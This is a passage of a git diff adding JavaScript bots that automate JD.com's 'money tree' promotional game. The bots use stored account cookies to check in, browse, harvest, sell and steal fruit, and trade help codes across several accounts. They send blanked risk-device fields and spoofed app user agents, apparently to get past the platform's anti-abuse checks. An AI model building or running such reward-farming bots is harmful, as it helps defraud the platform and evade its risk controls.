console.log(`领取分享后的奖励:${JSON.stringify(shareResJL)}`) + } else if (item.workStatus === 2) { + console.log(`分享任务已经做过`) + } + } + } + for (let task of taskInfo) { + if (task.mid && task.workStatus === 0 && task.mid !=666 && task.mid !=667) { + console.log('开始做浏览任务'); + // yield setUserLinkStatus(task.mid); + let aa = await setUserLinkStatus(task.mid); + console.log(`aaa${JSON.stringify(aa)}`); + } else if (task.mid && task.workStatus === 1) { + console.log(`workStatus === 1开始领取浏览后的奖励:mid:${task.mid}`); + let receiveAwardRes = await receiveAward(task.mid); + console.log(`领取浏览任务奖励成功:${JSON.stringify(receiveAwardRes)}`) + } else if (task.mid && task.workStatus === 2) { + console.log('所有的浏览任务都做完了') + } + } + resolve(); + }); +} + +function harvest() { + if (!userInfo) return + const data = { + "source": 2, + "sharePin": "", + "userId": userInfo.userInfo, + "userToken": userInfo.userToken, + "shareType": 1, + "channel": "", + "riskDeviceParam": { + "eid": "", + "appType": 2, + "fp": "", + "jstub": "", + "sdkToken": "", + "token": "" + } + } + data.riskDeviceParam = JSON.stringify(data.riskDeviceParam); + return new Promise((rs, rj) => { + request('harvest', data).then((harvestRes) => { + if (harvestRes && harvestRes.resultCode === 0 && harvestRes.resultData.code === '200') { + console.log(`\n收获金果成功:${JSON.stringify(harvestRes)}\n`) + let data = harvestRes.resultData.data; + message += `【距离${data.treeInfo.level + 1}级摇钱树还差】${data.treeInfo.progressLeft}\n`; + fruitTotal = data.treeInfo.fruit; + } else { + console.log(`\n收获金果异常:${JSON.stringify(harvestRes)}`) + } + rs() + // gen.next(); + }) + }) + // request('harvest', data).then((harvestRes) => { + // if (harvestRes.resultCode === 0 && harvestRes.resultData.code === '200') { + // let data = harvestRes.resultData.data; + // message += `【距离${data.treeInfo.level + 1}级摇钱树还差】${data.treeInfo.progressLeft}\n`; + // fruitTotal = data.treeInfo.fruit; + // gen.next(); + // } + // }) +} + +//卖出金果,得到金币 +function sell() { + return new Promise((rs, rj) => { + const params = { + "source": 2, + "jtCount": 7.000000000000001, + "riskDeviceParam": { + "eid": "", + "fp": "", + "sdkToken": "", + "token": "", + "jstub": "", + "appType": 2, + } + } + params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样) + console.log(`目前金果数量${fruitTotal}`) + sellFruit = $.isNode() ? (process.env.MONEY_TREE_SELL_FRUIT ? process.env.MONEY_TREE_SELL_FRUIT : `${sellFruit}`) : ($.getdata('MONEY_TREE_SELL_FRUIT') ? $.getdata('MONEY_TREE_SELL_FRUIT') : `${sellFruit}`); + if (sellFruit && sellFruit === 'false') { + console.log(`\n设置的不卖出金果\n`) + rs() + return + } + if (fruitTotal >= 8000 * 7) { + if (userInfo['jtRest'] === 0) { + console.log(`\n今日已卖出5.6万金果(已达上限),获得0.07金贴\n`) + rs() + return + } + request('sell', params).then((sellRes) => { + if (sellRes && sellRes['resultCode'] === 0) { + if (sellRes['resultData']['code'] === '200') { + if (sellRes['resultData']['data']['sell'] === 0) { + console.log(`卖出金果成功,获得0.07金贴\n`); + allMsg += `账号${$.index}:${$.nickName || $.UserName}\n今日成功卖出5.6万金果,获得0.07金贴${$.index !== cookiesArr.length ? '\n\n' : ''}` + } else { + console.log(`卖出金果失败:${JSON.stringify(sellRes)}\n`) + } + } + } + rs() + }) + } else { + console.log(`当前金果数量不够兑换 0.07金贴\n`); + rs() + } + // request('sell', params).then(response => { + // rs(response); + // }) + }) + // request('sell', params).then((sellRes) => { + // console.log(`卖出金果结果:${JSON.stringify(sellRes)}\n`) + // gen.next(); + // }) +} + +//获取金币和金果数量 +function myWealth() { + return new Promise((resolve) => { + const params = { + "source": 2, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样) + request('myWealth', params).then(res => { + if (res && res.resultCode === 0 && res.resultData.code === '200') { + console.log(`金贴和金果数量::${JSON.stringify(res)}`); + message += `【我的金果数量】${res.resultData.data.gaAmount}\n`; + message += `【我的金贴数量】${res.resultData.data.gcAmount / 100}\n`; + } + resolve(); + }) + }); +} + +function sign() { + console.log('开始三餐签到') + const data = {"source": 2, "workType": 1, "opType": 2}; + return new Promise((rs, rj) => { + request('doWork', data).then(response => { + rs(response); + }) + }) +} + +function signIndex() { + const params = { + "source": 0, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + return new Promise((rs, rj) => { + request('signIndex', params).then(response => { + rs(response); + }) + }) +} + +function signEveryDay() { + return new Promise(async (resolve) => { + try { + let signIndexRes = await signIndex(); + if (signIndexRes.resultCode === 0) { + console.log(`每日签到条件查询:${signIndexRes.resultData.data.canSign === 2 ? '可以签到' : '已经签到过了'}`); + if (signIndexRes.resultData && signIndexRes.resultData.data.canSign == 2) { + console.log('准备每日签到') + let signOneRes = await signOne(signIndexRes.resultData.data.signDay); + console.log(`第${signIndexRes.resultData.data.signDay}日签到结果:${JSON.stringify(signOneRes)}`); + if (signIndexRes.resultData.data.signDay === 7) { + let getSignAwardRes = await getSignAward(); + console.log(`店铺券(49-10)领取结果:${JSON.stringify(getSignAwardRes)}`) + if (getSignAwardRes.resultCode === 0 && getSignAwardRes.data.code === 0) { + message += `【7日签到奖励领取】${getSignAwardRes.datamessage}\n` + } + } + } + } + } catch (e) { + $.logErr(e); + } finally { + resolve() + } + }) +} + +function signOne(signDay) { + const params = { + "source": 0, + "signDay": signDay, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + return new Promise((rs, rj) => { + request('signOne', params).then(response => { + rs(response); + }) + }) +} + +// 领取七日签到后的奖励(店铺优惠券) +function getSignAward() { + const params = { + "source": 2, + "awardType": 2, + "deviceRiskParam": 1, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + return new Promise((rs, rj) => { + request('getSignAward', params).then(response => { + rs(response); + }) + }) +} + +// 浏览任务 +async function setUserLinkStatus(missionId) { + let index = 0; + do { + const params = { + "missionId": missionId, + "pushStatus": 1, + "keyValue": index, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + let response = await request('setUserLinkStatus', params) + console.log(`missionId为${missionId}::第${index + 1}次浏览活动完成: ${JSON.stringify(response)}`); + // if (resultCode === 0) { + // let sportRevardResult = await getSportReward(); + // console.log(`领取遛狗奖励完成: ${JSON.stringify(sportRevardResult)}`); + // } + index++; + } while (index < 7) //不知道结束的条件,目前写死循环7次吧 + console.log('浏览店铺任务结束'); + console.log('开始领取浏览后的奖励'); + let receiveAwardRes = await receiveAward(missionId); + console.log(`领取浏览任务奖励成功:${JSON.stringify(receiveAwardRes)}`) + return new Promise((resolve, reject) => { + resolve(receiveAwardRes); + }) + // gen.next(); +} + +// 领取浏览后的奖励 +function receiveAward(mid) { + if (!mid) return + mid = mid + ""; + const params = { + "source": 0, + "workType": 7, + "opType": 2, + "mid": mid, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + return new Promise((rs, rj) => { + request('doWork', params).then(response => { + rs(response); + }) + }) +} + +function share(data) { + if (data.opType === 1) { + console.log(`开始做分享任务\n`) + } else { + console.log(`开始做领取分享后的奖励\n`) + } + return new Promise((rs, rj) => { + request('doWork', data).then(response => { + rs(response); + }) + }) +} + +async function stealFriendFruit() { + await friendRank(); + if ($.friendRankList && $.friendRankList.length > 0) { + const canSteal = $.friendRankList.some((item) => { + const boxShareCode = item.steal + return (boxShareCode === true); + }); + if (canSteal) { + $.amount = 0; + for (let item of $.friendRankList) { + if (!item.self && item.steal) { + await friendTreeRoom(item.encryPin); + const stealFruitRes = await stealFruit(item.encryPin, $.friendTree.stoleInfo); + if (stealFruitRes && stealFruitRes.resultCode === 0 && stealFruitRes.resultData.code === '200') { + $.amount += stealFruitRes.resultData.data.amount; + } + } + } + message += `【偷取好友金果】共${$.amount}个\n`; + } else { + console.log(`今日已偷过好友的金果了,暂无好友可偷,请明天再来\n`) + } + } else { + console.log(`您暂无好友,故跳过`); + } +} + +//获取好友列表API +async function friendRank() { + await $.wait(1000); //歇口气儿, 不然会报操作频繁 + const params = { + "source": 2, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样) + return new Promise((resolve, reject) => { + $.post(taskurl('friendRank', params), (err, resp, data) => { + try { + if (err) { + console.log("\n摇钱树京东API请求失败 ‼️‼️"); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + $.friendRankList = data.resultData.data; + } else { + console.log(`京东api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + $.logErr(eor, err) + } finally { + resolve() + } + }) + }) +} + +// 进入好友房间API +async function friendTreeRoom(friendPin) { + await $.wait(1000); //歇口气儿, 不然会报操作频繁 + const params = { + "source": 2, + "friendPin": friendPin, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样) + return new Promise((resolve, reject) => { + $.post(taskurl('friendTree', params), (err, resp, data) => { + try { + if (err) { + console.log("\n摇钱树京东API请求失败 ‼️‼️"); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + $.friendTree = data.resultData.data; + } else { + console.log(`京东api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + $.logErr(eor, err) + } finally { + resolve() + } + }) + }) +} + +//偷好友金果API +async function stealFruit(friendPin, stoleId) { + await $.wait(1000); //歇口气儿, 不然会报操作频繁 + const params = { + "source": 2, + "friendPin": friendPin, + "stoleId": stoleId, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样) + return new Promise((resolve, reject) => { + $.post(taskurl('stealFruit', params), (err, resp, data) => { + try { + if (err) { + console.log("\n摇钱树京东API请求失败 ‼️‼️"); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + } else { + console.log(`京东api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + $.logErr(eor, err) + } finally { + resolve(data) + } + }) + }) +} + + +async function request(function_id, body = {}) { + await $.wait(1000); //歇口气儿, 不然会报操作频繁 + return new Promise((resolve, reject) => { + $.post(taskurl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log("\n摇钱树京东API请求失败 ‼️‼️"); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + } else { + console.log(`京东api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + $.msg("摇钱树-初始化个人信息" + eor.name + "‼️", JSON.stringify(eor), eor.message) + } finally { + resolve(data) + } + }) + }) +} + +function taskurl(function_id, body) { + return { + url: JD_API_HOST + '/' + function_id + '?_=' + new Date().getTime() * 1000, + body: `reqData=${function_id === 'harvest' || function_id === 'login' || function_id === 'signIndex' || function_id === 'signOne' || function_id === 'setUserLinkStatus' || function_id === 'dayWork' || function_id === 'getSignAward' || function_id === 'sell' || function_id === 'friendRank' || function_id === 'friendTree' || function_id === 'stealFruit' ? encodeURIComponent(JSON.stringify(body)) : JSON.stringify(body)}`, + headers: { + 'Accept': `application/json`, + 'Origin': `https://uua.jr.jd.com`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Cookie': cookie, + 'Content-Type': `application/x-www-form-urlencoded;charset=UTF-8`, + 'Host': `ms.jr.jd.com`, + 'Connection': `keep-alive`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': `https://uua.jr.jd.com/uc-fe-wxgrowing/moneytree/index`, + 'Accept-Language': `zh-cn` + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_moneyTree_heip.js b/jd_moneyTree_heip.js new file mode 100644 index 0000000..33fae2c --- /dev/null +++ b/jd_moneyTree_heip.js @@ -0,0 +1,290 @@ +/* + +0-59/30 * * * * jd_moneyTree_heip.js + +*/ +const $ = new Env('京东摇钱树助力'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', sharePin = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = 'https://ms.jr.jd.com/gw/generic/uc/h5/m'; +let userInfo = null, canRun = '', subTitle = ''; +!(async () => { + await requireConfig() + await $.wait(1000); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + } + console.log(`\n****开始获取摇钱树互助码****\n`); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + await getsharePin(); + await $.wait(1000); + } + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.canRun = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}****\n`); + message = ''; + subTitle = ''; + await shareCodesFormat(); + await $.wait(1000); + await helpFriends(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function helpFriends() { + try { + for (let code of $.newShareCodes) { + console.log(`去助力${code}`) + await help(code) + await $.wait(1000) + if (!$.canRun) { + break; + } + } + } catch (e) { + $.logErr(e) + } +} + +function getsharePin() { + const params = { "sharePin": "", "shareType": 1, "channelLV": "", "source": 2, "riskDeviceParam": { "eid": "", "fp": "", "sdkToken": "", "token": "", "jstub": "", "appType": "2", } } + params.riskDeviceParam = JSON.stringify(params.riskDeviceParam); + return new Promise((resolve, reject) => { + $.post(taskurl('login', params), async (err, resp, data) => { + try { + if (err) { + console.log("\n摇钱树京东API请求失败 ‼️‼️") + console.log(JSON.stringify(err)); + } else { + if (data) { + const res = JSON.parse(data); + if (res && res.resultCode === 0) { + $.isLogin = true; + if (res.resultData.data) { + userInfo = res.resultData.data; + if (userInfo.realName) { + console.log(`【京东账号${$.index}(${$.UserName})的摇钱树好友互助码】${userInfo.sharePin}`); + } else { + $.log(`京东账号${$.index}${$.UserName}运行失败\n此账号未实名认证或者未参与过此活动\n①如未参与活动,请先去京东app参加摇钱树活动\n入口:我的->游戏与互动->查看更多\n②如未实名认证,请进行实名认证`) + } + } + } else { + console.log(`其他情况::${JSON.stringify(res)}`); + } + } else { + console.log(`京东api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + $.logErr(eor, err) + } finally { + resolve(userInfo) + } + }) + }) +} + +function help(sharePin) { + const params = { "sharePin": sharePin, "shareType": 1, "channelLV": "", "source": 2, "riskDeviceParam": { "eid": "", "fp": "", "sdkToken": "", "token": "", "jstub": "", "appType": "2", } } + params.riskDeviceParam = JSON.stringify(params.riskDeviceParam); + return new Promise((resolve, reject) => { + $.post(taskurl('login', params), async (err, resp, data) => { + try { + if (err) { + console.log("\n摇钱树京东API请求失败 ‼️‼️") + console.log(JSON.stringify(err)); + } else { + if (data) { + const res = JSON.parse(data); + if (res && res.resultCode === 0) { + $.isLogin = true; + if (res.resultData.data) { + userInfo = res.resultData.data; + console.log(res.resultData.msg); + if (userInfo.realName) { + } else { + $.canRun = false; + $.log(`京东账号${$.index}${$.UserName}运行失败\n此账号未实名认证或者未参与过此活动\n①如未参与活动,请先去京东app参加摇钱树活动\n入口:我的->游戏与互动->查看更多\n②如未实名认证,请进行实名认证`) + } + } + } else { + console.log(`其他情况::${JSON.stringify(res)}`); + } + } else { + console.log(`京东api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + $.logErr(eor, err) + } finally { + resolve(userInfo) + } + }) + }) +} + +function taskurl(function_id, body) { + return { + url: JD_API_HOST + '/' + function_id + '?_=' + new Date().getTime() * 1000, + body: `reqData=${function_id === 'login' || function_id === 'signIndex' ? encodeURIComponent(JSON.stringify(body)) : JSON.stringify(body)}`, + headers: { + 'Accept': `application/json`, + 'Origin': `https://uua.jr.jd.com`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Cookie': cookie, + 'Content-Type': `application/x-www-form-urlencoded;charset=UTF-8`, + 'Host': `ms.jr.jd.com`, + 'Connection': `keep-alive`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like 